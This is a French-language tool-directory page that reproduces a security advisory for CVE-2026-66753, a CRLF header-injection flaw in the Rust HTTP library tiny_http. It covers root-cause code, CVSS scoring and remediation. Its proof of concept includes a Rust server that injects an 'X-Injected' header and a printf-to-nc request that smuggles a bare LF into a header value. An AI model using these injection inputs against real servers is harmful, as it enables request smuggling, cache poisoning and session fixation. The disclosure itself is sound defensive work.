Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-66753-HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http- — Security Advisory: HTTP Header Injection via Unvalidated CR and LF in Header Values (tiny_http) | Kitploit
Outils/GitHubGitHub/theopaid/cve-2026-66753-http-header-injection-via-unvalidated-cr-and-lf-in-header-values-tiny_http-
Vulnerability AnalysisCode AnalysisWeb SecurityLearning & EducationCurated Resources
GitHubtheopaid/cve-2026-66753-http-header-injection-via-unvalidated-cr-and-lf-in-header-values-tiny_http-

CVE-2026-66753-HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http-

Security Advisory: HTTP Header Injection via Unvalidated CR and LF in Header Values (tiny_http)

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 23 joursPas encore vérifié

Avis de sécurité : injection d'en-tête HTTP via les CR et LF non validés dans les valeurs d'en-tête (tiny_http)

Identifiant CVE attribué : CVE-2026-66753

Résumé

tiny_http ne rejette pas les retours chariot ni les sauts de ligne dans les valeurs d'en-tête HTTP, dans les deux sens.

Côté requête, read_next_line ne termine une ligne d'en-tête que sur CRLF, de sorte qu'un LF isolé survit dans la valeur analysée et parvient à l'application. Côté réponse, Header::from_bytes ne valide que le fait que les octets sont en ASCII, et le rédacteur de réponse émet les valeurs telles quelles, donc une valeur contenant CRLF scinde la réponse.

Les applications qui reflètent une valeur d'en-tête de requête dans un en-tête de réponse, ou qui re-sérialisent les en-têtes de requête sur une autre connexion, héritent donc d'une primitive d'injection sans aucune indication que quelque chose ne va pas.

Versions affectées

Repo URL : https://github.com/tiny-http/tiny-http

Affectéestoutes les versions publiées jusqu'à 0.12.0 incluse (2022-10-06), la version actuelle
Vérifiées0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0
Corrigée dansaucune version corrigée au moment de la rédaction

Ceci est distinct de RUSTSEC-2020-0031 / CVE-2020-35884, qui concernait l'analyse de Transfer-Encoding et a été corrigé dans 0.6.3 et 0.8.0. Le comportement décrit ici est présent à la fois avant et après ce correctif.

Gravité

CWE-113 (neutralisation inappropriée des séquences CRLF dans les en-têtes HTTP), un cas particulier de CWE-93 (injection CRLF).

Score de base CVSS 4.0 : 6,3 (Moyen) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Modèle de menace

Un client distant, non authentifié, envoyant du HTTP brut à n'importe quel serveur tiny_http. Aucun identifiant ni interaction utilisateur.

Deux formes d'utilisation transforment cela en vulnérabilité :

  • Applications qui copient une valeur d'en-tête de requête dans un en-tête de réponse. C'est le schéma de réflexion derrière l'écho d'origine CORS, les en-têtes Location construits à partir de données de requête et la gestion des cookies. Un LF isolé dans la valeur de requête atteint la réponse, et si l'application construit elle-même la valeur de réponse, elle peut porter un CRLF complet.
  • Applications qui re-sérialisent les en-têtes de requête sur une autre connexion, comme un proxy inverse. Le LF isolé est écrit dans la requête en amont, et les backends qui traitent un LF nu comme terminateur de ligne d'en-tête lisent une requête comme deux. La section 2.2 de la RFC 9112 autorise les destinataires à faire cela, donc ces backends sont conformes à la spécification. Go net/http et Python http.server ont tous deux été mesurés comme l'acceptant.

Cause racine

Côté requête

tiny_http-0.12.0/src/client.rs, lignes 80 à 102. La boucle ne retourne que lorsqu'un LF est précédé d'un CR. Tout autre octet, y compris un LF isolé ou un CR isolé, est poussé dans le tampon de ligne à la ligne 100 :

root@kitploit:~
 84          loop {
 85              let byte = self.next_header_source.by_ref().bytes().next();
...
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);
101          }

LF est 0x0A et CR est 0x0D, tous deux en ASCII valide, donc AsciiString::from_ascii à la ligne 94 les accepte.

tiny_http-0.12.0/src/common.rs, lignes 184 à 191, ne fait ensuite que découper (trim) la valeur. trim supprime les espaces de début et de fin mais laisse les octets intérieurs intacts :

root@kitploit:~
184      fn from_str(input: &str) -> Result<Header, ()> {
185          let mut elems = input.splitn(2, ':');
186  
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

Une paire CRLF ne peut pas survivre, car elle termine la ligne, mais un LF isolé, un CR isolé et des séquences telles que \n\r le peuvent.

Côté réponse

tiny_http-0.12.0/src/common.rs, lignes 166 à 172, ne vérifie que l'ASCII :

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

tiny_http-0.12.0/src/response.rs, lignes 99 à 104, écrit la valeur sans échappement :

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

Notez que HeaderField::from_str à la ligne 226 rejette les espaces dans un nom de champ, mais HeaderField::from_bytes à la ligne 171 ne le fait pas, donc les noms d'en-têtes de réponse ne sont pas vérifiés non plus.

Preuve de concept

Étape 1. Démarrez un serveur qui affiche une valeur d'en-tête de requête analysée et renvoie une valeur contenant CRLF dans un en-tête de réponse.

root@kitploit:~
use tiny_http::{Header, Response, Server};

fn main() {
    let server = Server::http("127.0.0.1:8004").unwrap();
    for request in server.incoming_requests() {
        for h in request.headers() {
            if h.field.equiv("X-Test") {
                println!("parsed X-Test value = {:?}", h.value.as_str());
            }
        }
        let evil = "a\r\nX-Injected: yes";
        let mut resp = Response::from_string("body");
        resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
        let _ = request.respond(resp);
    }
}

Étape 2. Envoyez une requête dont la valeur X-Test contient un LF nu. Dans la commande ci-dessous, \n est un saut de ligne unique et \r\n est un CRLF. La distinction est l'objet du test, ne laissez donc pas un éditeur la normaliser.

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004

Résultat sur stdout. Le LF est toujours à l'intérieur de la valeur analysée :

root@kitploit:~
parsed X-Test value = "aaa\nbbb"

Résultat sur le fil. L'en-tête de réponse s'est scindé en deux :

root@kitploit:~
HTTP/1.1 200 OK
Server: tiny-http (Rust)
Content-Type: text/plain; charset=UTF-8
X-Echo: a
X-Injected: yes
Content-Length: 4

body

Impact

En soi, tiny_http ne réémet pas les en-têtes de requête, donc le comportement côté requête est une primitive latente plutôt qu'une compromission directe. Il devient exploitable dans tout consommateur qui transmet ou reflète des valeurs d'en-tête, où il produit un détournement de requête (request smuggling) contre des backends tolérants aux LF ou une injection d'en-têtes dans la réponse.

Le comportement côté réponse est directement exploitable dans toute application qui place du texte influencé par l'attaquant dans une valeur d'en-tête : injection de script dans le contexte de l'origine, empoisonnement du cache, fixation de session via un Set-Cookie injecté, et remplacement des en-têtes de sécurité.

À titre de comparaison, la crate http rejette CR et LF dans HeaderValue::from_str, c'est pourquoi les piles logicielles construites dessus n'exposent aucun de ces comportements.

Remédiation

Rejetez les caractères de contrôle aux deux limites.

Dans read_next_line (src/client.rs ligne 80), traitez un CR nu ou un LF nu dans une ligne d'en-tête comme une erreur de protocole et renvoyez 400, plutôt que de l'incorporer dans la valeur. Vous pouvez également les rejeter dans Header::from_str (src/common.rs ligne 184) après la division.

Dans Header::from_bytes (src/common.rs ligne 166), rejetez les valeurs contenant 0x0D, 0x0A ou 0x00, et rejetez les noms de champ contenant autre chose que l'ensemble de jetons de la RFC 9110. Le retour de Err y est déjà géré par les appelants, car la signature est faillible.

Télécharger l’outil